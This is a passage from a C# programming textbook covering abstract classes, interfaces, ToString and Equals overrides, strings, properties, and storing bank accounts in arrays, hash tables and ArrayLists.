} The fact that my new Account class contains an abstract method means that the class itself is abstract (and must be marked as such). If you want to implement interfaces as well. Perhaps at this point a more fully worked example might help. This is true. An abstract class can be thought of as a kind of template. This can be useful because it means you don’t have to repeatedly implement the same methods in each of the components that implement a particular interface. C# provides a way of flagging a method as abstract. If you think about it this is sensible. However. We could just provide a ―standard‖ method in the CustomerAccount class and then rely on the programmers overriding this with a more specific message but we then have no way of making sure that they really do provide the method means that the method body is not provided in this class. An instance of Account would not know what to do it the RudeLetterString method was ever called. It is not possible to make an instance of an abstract class. This leads us to a class design a bit like this: C# Programming © Rob Miles 2010 116 . in that an interface also provides a ―shopping list‖ of methods which must be provided by a class. The problem is that you can only inherit from one parent. The methods in the second category must be made abstract. so you can only pick up the behaviours of one class.. abstract classes are different in that they can contain fully implemented methods alongside the abstract ones. you may have to repeat methods as well. but we don’t know precisely what it does in every situation. This means that at the time we create the bank account system we know that we need this method. If you want to make an instance of a class based on an abstract parent you must provide implementations of all the abstract methods given in the parent. Abstract classes and interfaces You might decide that an abstract class looks a lot like an interface.
amount . } public void PayInFunds ( decimal amount ) { balance = balance + amount . return true. } public override string RudeLetterString() { return "Tell daddy you are overdrawn". public virtual bool WithdrawFunds ( decimal amount ) { if ( balance < amount ) { return false . public abstract string RudeLetterString(). } public virtual decimal GetBalance () { return balance. } balance = balance . } public abstract class Account : IAccount { private decimal balance = 0. string RudeLetterString(). } return base. bool WithdrawFunds ( decimal amount ).Creating Solutions Inheritance public interface IAccount { void PayInFunds ( decimal amount ). } } C# Programming © Rob Miles 2010 117 . } } public class CustomerAccount : Account { public override string RudeLetterString() { return "You are overdrawn" . } } public class BabyAccount : Account { public override bool WithdrawFunds ( decimal amount ) { if (amount > 10) { return false .WithdrawFunds(amount). decimal GetBalance ().
then the best way to do this is to set up a parent class which contains abstract and non-abstract methods. Note how I have moved all the things that all accounts must do into the parent Account class. If you have an understanding of what an interface and abstract classes are intended to achieve this will stand you in very good stead for your programming career. current account etc. Bank Notes: Making good use of interface and abstract If our bank takes over another bank and wants to share account information we might need a way to use their accounts. Objects can implement more than one interface. A concrete example of this would be something like IPrintHardCopy. hey presto.Creating Solutions Inheritance This code repays careful study. This gives you a degree of flexibility that you can use to good effect. References to abstract classes References to abstract classes work just like references to interfaces. get their account objects (whatever they are called) to implement the interface and. I much prefer it if you manage references to abstract things (like accounts) in terms of their interface instead. Use Interface References One important consideration is that even if you make use of an abstract parent class I reckon that you should still make use of interfaces to reference the data objects themselves. Any component which implements the interface can be thought of in terms of a reference of that interface type. Once a component can implement an interface it can be regarded purely in terms of a component with this ability. However. Abstract: lets you create a parent class which holds template information for all the classes which extend it.8 Designing with Objects and Components For the purpose of this part of the text you now have broad knowledge of all the tools that can be used to design large software systems. This would be much more difficult if my entire system thought in terms of a parent Account class – since their classes would not fit into this hierarchy at all. Note also though that I have left the interface in place.e. The child classes can make use of the methods from the parent and override the ones that need to be provided differently for that particular class. This might seem useful. C# Programming © Rob Miles 2010 118 . I can now use their accounts. allowing them to present different faces to the systems that use them. If you want to create a related set of items. as we can consider something as an ―account‖ rather than a BabyAccount.9. A reference to an Account class can refer to any class which extends from that parent. Interfaces let me describe a set of behaviours which a component can implement. methods) which a component can be made to implement. deposit account. including credit card. Then I have added customised methods into the child classes where appropriate. even though I now have this abstract structure I still want to think of the account objects in terms of their ―accountness‖ rather than any particular specific type. Broadly: Interface: lets you identify a set of behaviours (i. for example all the different kinds of bank account you might need to deal with. In other words the other bank must create the methods in the IAccount interface. Lots of items in my bank system will need to do this and so we could put the behaviour details into the interface for them to implement in their own way. That is because. If their accounts are software components too (and they should be) then all we have to do is implement the required interfaces at each end and then our systems understand each other. 4. Then our printer can just regard each of the instances that implement this interface purely in this way.
It is in fact a child of the object class. C# Programming © Rob Miles 2010 119 .1 Objects and ToString We have taken it as read that objects have a magical ability to print themselves out. Now it is time to find out how this is achieved. If I write the code: int i = 99. The important point to bear in mind is that the features are all provided so that you can solve one problem: Create software which is packaged in secure. Console. plus the new ones that we add. The Object class When you create a new class this is not actually created from nowhere. (in fact we have seen that the whole basis of building programs is to decide what the objects should do and then make them do these things). and also how we can give our own objects the same magical ability. 4. A reference to an object type can refer to any class. In other words.10 Object Etiquette We have considered objects "in the large". if I write: public class Account { .10. We know that an object can contain information and do things for us.Creating Solutions Object Etiquette 4. This will print out: 99 The integer somehow seems to know how to print itself out. interchangeable components. We have also seen that you can extend a parent object to create a child which has all the abilities of the parent.9 Don’t Panic This is all deep stuff. Interfaces let me describe what each component can do. in that we know how they can be used to design and implement large software systems.this is equivalent to writing: public class Account : object { The object class is a part of C#. but very important.WriteLine(i). This has a couple of important ramifications: Every object can do what an object can do. and everything is a child of the object class. What we need to do now is take a look at some smaller. don’t worry. It turns out that this is all provided by the "objectness" of things in C#.9. issues that relate to how we use objects in our programs. 4. Now we are going to see how these abilities of objects are used in making parts of the C# implementation itself work. And that is it. These features of C# are tied up with the process of software design which is a very complex business. Class hierarchies let me re-use code inside those components. If you don’t get it now.
The nice thing about ToString is that it has been declared virtual.Creating Solutions Object Etiquette For the purpose of this part of the notes.Object You can call the method explicitly if you like: Console. the first point is the one which has the most importance here.ToString()). Getting the string description of a parent object If you want to get hold of a string description of the parent object. } C# Programming © Rob Miles 2010 120 . The ToString method The system knows that ToString exists for every object. decimal inBalance) { name = inName.WriteLine(a). Console. This means that we can override it to make it behave how we would like: class Account { private string name.WriteLine(o.would print out: System. balance = inBalance. If you look inside the actual code that makes an object work you will find a method called ToString. you can use the base mechanism to do this. } public Account (string inName.would print out: Name: Rob balance: 25 So. 25). This is sometimes useful if you add some data to a child class and want to print out the content of the parent first: public override string ToString() { return base. This means that the code: Account a = new Account("Rob". . and so if it ever needs the string version of an object it will call this method on the object to get the text. In other words: object o = new object().WriteLine(o). . the object. .and the results would be exactly the same.ToString() + " Parent : " + parentName. Console. } } In the tiny Account class above I've overridden the ToString method so that it prints out the name and balance value. private decimal balance. It means that all classes that are made have a number of behaviours that they inherit from their ultimate parent. whenever you design a class you should provide a ToString method which provides a text version of the content of that class. from the point of view of good etiquette. public override string ToString() { return "Name: " + name + " balance: " + balance. The object implementation of ToString returns a string description of the type of that object.
missilePosition. public int y. with an x value and a y value. } This is my point class. } Note that I've made the x and y members of the Point class public. 4.WriteLine("Bang").x = 1.e. When we perform an equals test the system simply checks to see if both references refer to the same location. The code above uses the ToString method in the parent object and then tacks the name of the parent on the end before returning it. take a look at the test that is being performed.2 Objects and testing for equals We have seen that when object references are compared a test for equals does not mean the same as it does for values. since it will just make use of the upgraded method.10.y = 2. This is because although the two Point objects hold the same data. In the game the various objects in it will be located at a particular place on the screen. which means that the equals test will fail. This class extends the CustomerAccont and holds the name of the child's parent.Creating Solutions Object Etiquette The method above is from a ChildAccount class. Point missilePosition = new Point(). The problem is that the above program code does not work.. If you find that things that contain the same data are not being compared correctly. but I do want my program to run quickly. Even though I have put the spaceship and the missile at the same place on the screen the word Bang is not printed. if ( spaceshipPosition == missilePosition ) { Console. new members are added or the format of the string changes. We then might want to test to see if two items have collided. they are not located at the same address in memory. I can now create instances of Point and use them to manage my game objects: Point spaceshipPosition = new Point().y = 2. To see how this might cause us problems we need to consider how we would implement a graphical computer game (makes a change from the bank for a while).x = 1. We know that objects are managed by named tags which refer to unnamed items held in memory somewhere. spaceshipPosition. missilePosition. class Point { public int x. Adding your own Equals method The way that you solve this problem is to provide a method which can be used to compare the two points and see if they refer to the same place. spaceshipPosition. i. This is because I'm not that concerned about protecting them. To do this we must override the standard Equals behaviour and add one of our own: C# Programming © Rob Miles 2010 121 . We can express this position as a coordinate or point. The nice thing about this is that if the behaviour of the parent class changes. Some of the nastiest bugs that I've had to fix have revolved around programmers who have forgotten which test to use.
We need to do this because we want to get hold of the x and y values from a Point (we can't get them from an object). However. } else { return false. If they are both the same the method returns true to the caller. Note that I didn't actually need to override the Equals method. because the Equals method actually compares the content of the two points rather than just their references. When you write the part of the program which stores data and brings it back again you will find it very useful to have a way of testing that what comes back from the store is identical to what you put there. It is also very useful to make appropriate use of this when writing methods in classes. You will expect all programmers to write to these standards if they take part in the project. } } The Equals method is given a reference to the thing to be compared. “If the system will never contain two things that are the same.x == x ) && ( p. for a professional approach you should set out standards which establish which of these methods you are going to provide. Bank Notes: Good Manners are a Good Idea It is considered good manners to provide the Equals and ToString methods in the classes that you create. I could have written one called TheSame which did the job. The object is cast into a Point and then the x and y values are compared. there is a very good reason why you might find an equals behaviour very useful. In this situation an equals behaviour is important. If the bank ever contains two identical accounts this would cause serious problems. The fact that everything in the system is required to be unique might lead you to think that there is no need to provide a way to compare two Account instances for equality.Creating Solutions Object Etiquette public override bool Equals(object obj) { Point p = (Point) obj. C# Programming © Rob Miles 2010 122 . When you start to create your bank account management system you should arrange a meeting of all the programmers involved and make them aware that you will be insisting on good mannered development like this. and so I reckon you should always provide one. if ( ( p.WriteLine("Bang"). The first thing we need to do is create a reference to a Point.Equals(spaceshipPosition) ) { Console. This means that I can write code like: if ( missilePosition. Note that this reference is supplied as a reference to an object. In fact. These will allow your classes to fit in with others in the C# system. } This test will work.y == y ) ) { return true. Programmer’s Point: Equals behaviours are important for testing The customer for our bank account management program is very keen that every single bank account that is created is unique. why should I waste time writing code to compare them in this way?” However. the Equals method is sometimes used by C# library methods to see if two objects contain the same data and so overriding Equals makes my class behave correctly as far as they are concerned.
c. When the Store method is called it is given a reference to the currently executing account instance.3 Objects and this By now you should be used to the idea that we can use a reference to an object to get hold of the members of that object. public void Count () { Data = Data + 1. When a method in a class accesses a member variable the compiler automatically puts a this. Consider: public class Counter { public int Data=0. In other words. } } The class above has a single data member and a single method member.Count(). However it might take a bit of getting used to. in front of each use of a member of the class. It means that people reading my code can tell instantly whether I am using a local variable or a member of the class. but this also has a special meaning within your C# programs. The Store method accepts this and then stores this somehow. if we like to make it explicit that we are using a member of a class rather than a local variable. Of course.Data + 1. Passing a reference to yourself to other classes Another use for this is when an instance class needs to provide a reference to itself to another class that wants to use it.Data).Store(this). } } We can add a this. Console. If I have a member of my class which contains methods. then don't worry about it for now. The data is a counter. I want to use the word this to mean this.Data = this. Confusion with this I reckon that using this is a good idea. I end up writing code like this: C# Programming © Rob Miles 2010 123 . A new bank account could store itself in a bank by passing a reference to itself to a method that will store it: bank.10.Creating Solutions Object Etiquette 4. instead we are passing a reference to the account. public void Count () { this.WriteLine("Count : " + c. We know that in this context the . the "proper" version of the Counter class is as follows: public class Counter { public int Data=0. Perhaps the best way to get around the problem is to remember that when I use the word this I mean "a reference to the currently executing instance of a class". This calls the method and then prints out the data. If this hurts your head. Each time the Count method is called the counter is made one larger. and I want to use one of those methods. (dot) means "follow the reference to the object and then use this member of the class". I can use the class as follows: Counter c = new Counter(). this as a reference to the current instance I hate explaining this. in this situation we are not passing an account into the bank.
This behaviour.11. Well. because they seem to break some of the rules that we have learnt. The second statement made the reference s2 refer to the same object as s1. You might ask the question: "Why go to all the trouble?" It might seem all this hassle could be saved by just making strings into value types. although strings are objects. Call the SetName method on that member to set the name to 'Rob'".Creating Solutions The power of strings and chars this. You can sort out the case of the text.2 Immutable strings The idea is that if you try to change a string. they don't actually behave like objects all the time. so changing s2 should change the object that s1 refers to as well. By using references we only actually need one string instance with the word ―the‖ in it. the C# system instead creates a new string and makes the reference you are "changing" refer to the changed one. you should be expecting s1 to change when s2 is changed. It calls it immutable. This hybrid behaviour is provided because it makes things easier for us programmers.1. 4. after the assignment s1 and s2 no longer refer to the same object. Console. trim spaces off the start and end and extract sub-strings using these methods. . If you think you know about objects and references. transformed in the way that you ask. This saves memory and it also makes searching for words much faster. This does not happen though. This means "I have a member variable in this class called account. The methods will return a new string. It is very important that you understand what happens when you transform a string. This is because it gives you a lot of nice extra features which will save you a lot of work.11. This is because programmers want strings to behave a bit like values in this respect. So. is how the system implements immutable. In other words. Consider the situation where you are storing a large document in the memory of the computer. never allowing a thing to be changed by making a new one each time it is required. because C# regards an instance of a string type in a special way. I regard them as a bit like bats. A string can be regarded as either an object (referred to by means of a reference) or a value (referred to as a value). To find out more about this. when the system sees the line: s2 = "different".WriteLine(s1 + " " + s2).it makes a new string which contains the text "different" and makes s2 refer to that. string s2=s1. The thing that s1 is referring to is unchanged. All the occurrences in the text can just refer to that one instance.SetName("Rob"). These are exposed as methods which you can call on a string reference. 4.account. 4. C# Programming © Rob Miles 2010 124 . take a look at section 4. This is because. no.11 The power of strings and chars It is probably worth spending a few moments considering the string type in a bit more detail. A bat can be regarded as either an animal or a bird in many respects.4.1 String Manipulation Strings are rather special. s2 = "different". string s1="Rob". However it does mean that we have to regard strings as a bit special when you are learning to program.
You can pull a sequence of characters out of a string using the SubString method: string s1="Rob".11.ToUpper(). You do this by calling methods on the reference to get the result that you want: s1=s1. But in C# the comparison works if they contain the same text. versions of themselves in slightly different forms. This would leave the string "ob" in s1.WriteLine("Still the same").Substring(1. However.Equals(s2) ) { Console.Creating Solutions The power of strings and chars 4. 4.(remember that strings are indexed starting at location 0).would cause a compilation error because strings are immutable. modified.WriteLine("The same").4 String Editing You can read individual characters from a string by indexing them as you would an array: char firstCh = name[0]. you can't change the characters: name[0] = 'R'.2). s1=s1.would leave "les" in s1.Substring(2).11. The Length property gives the number of characters in the string.5 String Length All of the above operations will fail if you try to do something which takes you beyond the length of the string. You can use an equals method if you prefer: if ( s1.11. 4.Length). s1=s1. . in which case all the characters up to the end of the string are copied: string s1="Miles". . It is also possible to use the same methods on them to find out how long they are: Console.11. The first parameter is the starting position and the second is the number of characters to be copied.3 String Comparison The special nature of strings also means that you can compare strings using equals and get the behaviour you want: if ( s1 == s2 ) { Console. C# Programming © Rob Miles 2010 125 .WriteLine ( "Length: " + s1. } If s1 and s2 were proper reference types this comparison would only work if they referred to the same object. You can leave out the second parameter if you like. This would set the character variable firstCh to the first character in the string.6 Character case Objects of type string can be asked to create new. } 4. In this respect strings are just like arrays.
If you don't trim the text you will find equals tests for the name will fail. It is found in the System. They are a bit like the switch keyword.IsLetter(ch) char.11. s1=s1.IsLetterOrDigit(ch) char.e.11. It is also very easy to convert between StringBuilder instances and strings.11. its length is zero). If you trim a string which contains only spaces you will end up with a string which contains no characters (i.IsDigit(ch) char. C# Programming © Rob Miles 2010 126 .9 String Twiddling with StringBuilder If you really want to twiddle with the contents of your strings you will find the fact that you can't assign to individual characters in the string a real pain. It works a lot like a string. There are TrimStart and TrimEnd methods to just take off leading or trailing spaces if that is what you want. but you can assign to characters and even replace one string with another.8 Character Commands The char class also exposes some very useful methods which can be used to check the values of individual characters. These are static methods which are called on the character class and can be used to test characters in a variety of ways: char. which lets us select things easily. This removes any leading or trailing spaces from the string. The reason you are suffering is that strings are really designed to hold strings.Trim().Creating Solutions Properties The ToUpper method returns a version of the string with all the letters converted to UPPER CASE. 4. but C# provides them because they make programs slightly easier to write and simpler to read. For proper string editing C# provides a class called StringBuilder. No other characters in the string are changed. 4.12 Properties Properties are useful.IsUpper(ch) char.IsLower(ch) char. You should look this up if you have a need to do some proper editing. 4.Text namespace.IsPunctuation(ch) char.7 Trimming and empty strings Another useful method is Trim. tab or newline You can use these when you are looking through a string for a particular character. 4. We don't need properties. not provide a way that they can be edited. There is a corresponding ToLower method as well. This is useful if your users might have typed " Rob " rather than "Rob".
but we need to make the member value public.SetAge(21). We have seen that we can use a member variable to do this kind of thing.GetAge() ). public int GetAge() { return this. s. I can access a public member of a class directly. just by giving the name of the member.age = inAge. This is very naughty. Console. I can do it like this: public class StaffMember { public int Age.12. For example.12. Programmer’s who want to work with the age value now have to call methods: StaffMember s = new StaffMember(). I can get hold of this member in the usual way: StaffMember s = new StaffMember(). We then make the Age member private and nobody can tamper with it: public class StaffMember { private int age. 4. but because the Age member is public we cannot stop it. 4.1 Properties as class members A property is a member of a class that holds a value. These provide access to the member in a managed way.Age = 21. One of the items that they may want to hold is the age of a member of staff. but we have had to write lots of extra code.WriteLine ( "Age is : " + s.Age = -100210232. the bank may ask us to keep track of staff members.3 Using Properties Properties are a way of making the management of data like this slightly easier.12. The problem is that we have already decided that this is a bad way to manage our objects. s.age.Creating Solutions Properties 4.2 Creating Get and Set methods To get control and do useful things we can create get and set methods which are public. An age property for the StaffMember class would be created as follows: C# Programming © Rob Miles 2010 127 . There is nothing to stop things like: s. } public void SetAge( int inAge ) { if ( (inAge > 0) && (inAge < 120) ) { this. } The class contains a public member. } } } We now have complete control over our property.
} } C# Programming © Rob Miles 2010 128 .ageValue*12.Age ). They are packaged as a list of methods which a class must contain if it implements the interfaces. You do this by leaving out the statements which are the body of the get and set behaviours: interface IStaff { int Age { get.Creating Solutions Properties public class StaffMember { private int ageValue. I can do other clever things too: public int AgeInMonths { get { return this. When the Age property is given a value the set code is run. It can only be read. You can also provide read-only properties by leaving out the set behaviour. These equate directly to the bodies of the get and set methods that I wrote earlier. based on the same source value as was used by the other property. called AgeInMonths.ageValue = value.WriteLine ( "Age is : " + s.12.ageValue. 4. } } get { return this. } } This is a new property.Age = 21. The really nice thing about properties is that they are used just as the class member was: StaffMember s = new StaffMember().4 Properties and interfaces Interfaces are a way that you can bring together a set of behaviours. Write only properties are also possible if you leave out the get. it returns the age in months. The keyword value means ―the thing that is being assigned‖. } } } The age value has now been created as a property. However. When the Age property is being read the get code is run. s. since it does not provide a set behaviour. This gives us all the advantages of the methods. This means that you can provide several different ways of recovering the same value. Note how there are get and set parts to the property. public int Age { set { if ( (value > 0) && (value < 120) ) { this. Console. set. It is also possible to add properties to interfaces. but they are much easier to use and create.
13 Building a Bank We are now in a situation where we can create working bank accounts. This container class will provide methods which allow us to find a particular account based on the name of the holder.would fail. bool StoreAccount (IAccount account).Age = 121. but it has no way of telling the user of the property that this has happened.5 Property problems Properties are really neat. It is possible to use this to advantage.Creating Solutions Building a Bank This is an interface that specifies that classes which implement it must contain an Age property with both get and set behaviours. } C# Programming © Rob Miles 2010 129 . but I reckon that would be madness. However. This looks very innocent. This gives us a way of creating new types of account as the bank business develops. and they are used throughout the classes in the . We can express the behaviour that we need from our bank in terms of an interface: interface IBank { IAccount FindAccount (string name).12.age = inAge.NET libraries. } A programmer setting the age value can now find out if the set worked or failed. We can use interfaces to define the behaviour of a bank account component. but could result in a thousand lines of code running inside the set property. A SetAge method on the other hand could return a value which indicates whether or not it worked: public bool SetAge( int inAge ) { if ( (inAge > 0) && (inAge < 120) ) { this. But there are a few things that you need to be aware of when deciding whether or not to use them: Property Assignment Failure We have seen that the set behaviour can reject values if it thinks they are out of range. Properties Run Code When you assign a value to a property you are actually calling a method. the person performing the assignment would not be aware of this. With our Age property above the code: s. which is not a good way to go on. If there is a situation where a property assignment can fail I never expose that as a property. since there is no way that the property can return a value which indicates success or failure. return true. in that an object can react to and track property changes.Age = 99. 4. Unfortunately there is no way you can tell that from the code which does the assignment: s. This is OK. But it can also be made very confusing. The only way that a property set method could do this would be to throw an exception. } return false. . 4. What we now need is a way of storing a large number of accounts. I suppose that it would be possible to combine a set method and a get property.
13. We never place an account "in" the array. But at the moment none of the references refer anywhere. When you create an instance of an ArrayBank you tell it how many accounts you want to store by means of the constructor. Each reference in the array can refer to an object which implements the IAccount interface. 4. The constructor creates an array of the appropriate size when it is called: private IAccount [] accounts . IAccount account = new CustomerAccount("Rob". printing out a message if the storage worked. 0). When we add an account to the bank we simply make one of the references refer to that account instance. The element at the start of the array contains a reference to the account instance. they are all set to null. I can put an account into it and then get it back again: IBank friendlyBank = new ArrayBank (50).1 Storing Accounts in an array The class ArrayBank is a bank account storage system which works using arrays. In the code above we are creating a bank with enough room for references to 50 accounts. } The code above creates a bank and then puts an account into it. instead we put a reference to that account in the array. } Note that it is very important that you understand what has happened here. public ArrayBank( int bankSize ) { accounts = new IAccount[bankSize].WriteLine ( "Account stored OK" ).Creating Solutions Building a Bank A class which implements these methods can be used for the storage of accounts. if (friendlyBank. What we have created is an array of references. The method to add an account to our bank has to find the first empty location in the array and set this to refer to the account that has been added: C# Programming © Rob Miles 2010 130 . The light coloured elements are set to null. accounts Name : "Rob" Balance : 0 The diagram shows the state of the accounts array after we have stored our first account.StoreAccount(account)) { Console. We have not created any accounts at all.
position++) { if (accounts[position] == null) { accounts[position] = account.Length .GetName() == name ) { return accounts[position]. This will either return the account with the required name. } This code works its way through the accounts array looking for an entry with a name which matches the one being looked for. 4. } } return false. However. otherwise it returns a reference to the account that it found. } This method works through the array looking for an element containing null. Each time we add a new account the searching gets slower as the FindAccount method must look through more and more items to find that one. } } return null.2 Searching and Performance The solution above will work fine. but if there are thousands of accounts this simple search will be much to slow. C# Programming © Rob Miles 2010 131 . The bank interface provides a method called FindAccount which will find the account which matches a particular customer name: IAccount fetchedAccount = arrayBank. If it finds one it sets this to refer to the account it has been asked to store and then returns true.Length. position++) { if ( accounts[position] == null ) { continue. or null if the account cannot be found. and could be used as the basis of a bank. If it does not find a null element before it reaches the end of the array it returns false to indicate that the store has failed. for (position = 0. If it finds an element which contains a null reference it skips past that onto the next one.Creating Solutions Building a Bank public bool StoreAccount (IAccount account) { int position = 0. } if ( accounts[position]. This is much faster than a sequential search. since it uses a technique which will take us straight to the required item. it becomes very slow as the size of the bank increases. position<accounts.13. When we want to work on an account we must first find it.3 Storing Accounts using a Hash Table Fortunately for us we can use a device called a "hash table" which allows us to easily find items based on a key. position<accounts. If it reaches the end of the array without finding a match it returns null. On a bank with only fifty accounts this is not a problem.FindAccount("Rob"). In the array based implementation of the bank this is achieved by means of a simple search: public IAccount FindAccount ( string name ) { int position=0 . return true.13. for (position=0 . 4.
When we want to find a given item we use the hash to take us to the starting position for the search and then look for the one with the matching name.Collections namespace. public IAccount FindAccount(string name) { return bankHashtable[name] as IAccount. This greatly speeds up access to the data.GetName(). the hash function gives us a starting point for our search. we could take all the letters in the account name string. It provides a method called Add which is given the value of the key and a reference to the item to be stored on that hash code. We can do clever things with the way we combine the values to reduce the chances of this happening. look up the ASCII code for each letter and then add these values up. We could look in location 291 for our account. It turns out to be very easy to create a bank storage mechanism based on this: class HashBank : IBank { Hashtable bankHashtable = new Hashtable(). or returns something of the wrong type. } public bool StoreAccount(IAccount account) { bankHashtable. the name "Rpa" would give the same total (82+112+97) and refer to the same location. This is poetically referred to as a "hash clash".4 Using the C# Hashtable collection Fortunately for us the designers of the C# have created a hash table class for us to use. If a cast fails (i. return true. Of course this hash code is not foolproof. } } The Hashtable class can be found in the System. Clashes can be resolved by adding a test when we are storing an account. This will store items for us based on a particular object which is called the key. We want to return a reference to an instance which implements the IAccount interface. C# Programming © Rob Miles 2010 132 . but we can't completely avoid clashes. It is used in preference to the code: return (IAccount) bankHashtable[name]. If we find the location we would like to use is not null we simply work our way down looking for the first free location on from that point. 4. The as operator is a form of casting (where we force the compiler to regard an item as being of a particular type). the as operator will generate a null reference. We have to use the "as" part of this code as the collection will return a reference to an object.Creating Solutions Building a Bank The idea is that we do something mathematical (called "hashing) to the information in the search property to generate a number which can then be used to identify the location where the data is stored.13. Since this is just what the caller of our FindAccount method is expecting this can be returned back directly.Add(account. For example.e. The as operator has the advantage that if bankHashtable[name] does not return an account. at run time the bank hash table returns the wrong thing) our program will fail with an exception. It also allows you to use a reference to the key (in this case the name) to locate an item: return bankHashtable[name] as IAccount. account). In short. The name "Rob" could be converted to 82+111+98 = 291. rather than always looking from the beginning of the array in our simple array based code above.
The cash machine uses information on the card as a key to find your account record so that it can check your balance value and then update it when the money has been withdrawn. which is the name of the account holder. so that they can search for an account holder by name. In a real bank the key will be more complex. C# Programming © Rob Miles 2010 133 . When gathering metadata about a system you will often need to consider which of the properties of an item will be key fields. we can very easily change the way that the account storage part of the program works without changing anything else.Creating Solutions Building a Bank It is interesting to note that because we have implemented our bank behaviour using an interface. address or account number depending on the information they have available. Bank Notes: Key properties are important The action that is being performed here is exactly the same as what happens when you use your cash card to draw some money from the bank. In our simple bank we only have a single key. and there may well be more than one.
Note that you don't have to set the size of the ArrayList. store. This leads to a "straw that breaks the camel's back" problem. We have just seen that we can store Account references in an Array. Adding Items to an ArrayList Adding items to an ArrayList is also very easy. The ArrayList called storeFifty is initially able to store 50 references. Creating an ArrayList It is very easy to create an ArrayList: ArrayList store = new ArrayList().000 and our program crashes. in that what it actually does is add a reference. an array that can grow in size. It lets us create something very useful. I think the root of Generics is probably "general". 5. and some very clever code in the library makes sure that this works. In this respect the word Add can be a bit misleading. But we know that when an array is created the programmer must specify exactly how many elements it contains. It is important to remember what is going on here.Collections namespace. but it can hold more or less as required. But I digress. We can always add new elements to the ArrayList. but we aren't that keen on that because it means that for smaller banks the program might be wasting a lot of memory. They sound a bit scary. in that the idea of them is that you specify a general purpose operation and then apply it in different contexts in a way appropriate to each of them.1 The ArrayList class The ArrayList is a cousin of the HashTable we have just seen. but it does indicate that they are very useful. in that it lives in the same Systems. we are instead making one element of the arraylist refer to that account. starting with the simple ArrayList.Advanced Programming Generics and Collections 5 Advanced Programming 5. If this sounds a bit like abstraction and inheritance you are sort of on the right track. One way to solve this problem is to use a really big array. Fortunately the C# libraries provide a number of solutions. This statement probably doesn't tell you much about them or what they do. Perhaps the best way to talk about generics is to see how they can help us solve a problem for the bank. telling people you learned about "generics" probably conjures up images of people with white coats and test tubes. although there are overloaded constructors that let you give this information and help the library code along a bit: ArrayList storeFifty = new ArrayList(50). not the thing itself. The class provides an Add method: Account robsAccount = new Account ().1 Generics and Collections Generics are very useful. where adding the 10.001st customer to the bank is not actually a cause for celebration. at least amongst those who can't spell very well.Add(robsAccount).1. C# Programming © Rob Miles 2010 134 . because the array size was set at 10. We are not putting an Account into the arraylist. If it doesn't. then it might be worth re-reading those bits of the book until they make sense.
a. just like your name can appear on multiple lists in the real world. It might be that the bank has many lists of customers. If the store contained more than one reference to robsAccount then each of them could be removed individually.PayInFunds(50). It would be very nice if we could just get hold of the account from the arraylist and use it.PayInFunds(50). This is given a reference to the thing to be removed: store. The designers of the ArrayList class had no idea precisely what type of object a programmer will want to use it with and so they had to use the object reference. store. Unfortunately this won't work. Accessing Items in an ArrayList Items in arraylists can be accessed in just the same way as array elements. If you think about it. This is not actually a huge problem. the list actually contains a reference to that item. It will have a list of all the customers.Remove(robsAccount). this is the only thing that it could hold.Add(k). A slightly larger problem is that an arraylist is not typesafe. If you write this code you will get a compilation error. Account a = store[0]. The reason for this is that an arraylist holds a list of object references.Advanced Programming Generics and Collections Remember that it would be perfectly possible to have robsAccount in multiple arraylists. This would get the element at the start of the arraylist. Finding the size of an ArrayList You can use the property Count to find out how many items there are in the list: if (store. If you remove an item the size of the arraylist is decreased. along with a list of "special" customers and perhaps another list of those who owe it the most money.].e. cast it into an Account class and then pay fifty pounds into it. To get a properly typesafe Account storage we have to take a look at generics in detail a bit later.WriteLine("The bank is empty"). an item "in" an arraylist is never actually in it. Removing Items from an ArrayList It is not really possible to remove things from an array.Count == 0) { Console. You will no doubt remember from the discussion of object hierarchies that an object reference can refer to an instance of any class (since they are all derived from object) and so that is the only kind of reference that the arraylist works with. This puts a reference to a KitchenSink instance into our bank storage. but with a tricky twist. This means that I can't be sure that an arraylist you give me has nothing other than accounts in it: KitchenSink k = new KitchenSink(). So. This removes the first occurrence of the reference robsAccount from the store arraylist. but the arraylist class provides a really useful Remove behaviour. it is not necessarily destroyed. When an item is removed from an arraylist. a. it is just no longer on that list. Note that if the reference given is not actually in the arraylist (i. This will cause problems (and an exception) if we ever try to use it as an Account.
being based on the generic features provided by a more recent version of the C# language. C# can make sure that an array always holds the appropriate type of values. the fundamental behaviours of arrays are always the same. if you give me an ArrayList there is no way I can be sure that accounts are all it contains. This is simply a quick way of finding out whether or not an arraylist contains a particular reference. Generics and Behaviours If you think about it. One way to solve this problem would have been to find a way of making the ArrayList strongly typed. with the advantage that it is also typesafe. and because it is not quite as much a part of the language as an array is. The ArrayList was added afterwards.2 The List class The List class gives you everything that an arraylist gives you. } The Contains method is given a reference to an object and returns true if the arraylist contains that reference. However. C# Programming © Rob Miles 2010 136 . If you wish you can use arraylists in place of arrays and have the benefits of storage that will grow and shrink as you need it. in that there is nothing to stop references of any type being added to an arraylist. If you give me an array of Accounts I can be absolutely sure that everything in the array is an account. It is newer than the ArrayList class. there is just no way that you can take an Account reference and place it in an array of integers.Contains(robsAccount)) { Console. It does this by using references to objects. and provides you with some means to work with them. The abilities an array gives you with an array of integers are exactly the same as those you have with an array of Accounts. this can be fixed when you move over to the List class. Whether you have an int. Generics let me write code that deal with objects as "things of a particular type". generics. ArrayLists and Arrays Arraylists and arrays look a lot the same. so that it becomes as much a part of C# as the array is.Advanced Programming Generics and Collections Checking to see if an ArrayList contains an item The final trick I'm going to mention (but there are lots more things an arraylist can do for you) is the Contains method. but the ArrayList breaks things a bit.WriteLine("Rob is in the bank"). float or Account array the job that it does is exactly the same. it has to use a compromise to allow it to hold references to any kind of item in a program. And because each array is declared as holding values of a particular type. The way that the system works. if (a. This is all to the good. 5. It could contain a whole bunch of KitchenSink references for all I know. They both let you store a large number of items and you can use subscripts (the values in square brackets) to get hold of elements from either. And I only really find out when I start trying to process elements as Accounts and my program starts to go wrong. the only problem that you have is that an arraylist will always hold references to objects. It doesn't matter what the thing I'm dealing with is. that is not what the designers of C# did. Instead they introduced a new language feature. but having it built into the class makes it much easier. but this can lead to programs which are dangerous. However. not any particular class. To understand how it works you have to understand a bit of generics. It holds a bunch of things in one place.1. we can sort that out when we actually want to work with something. You could of course write this behaviour yourself. However. string. They also throw exceptions if you try to access elements that are not in the array.
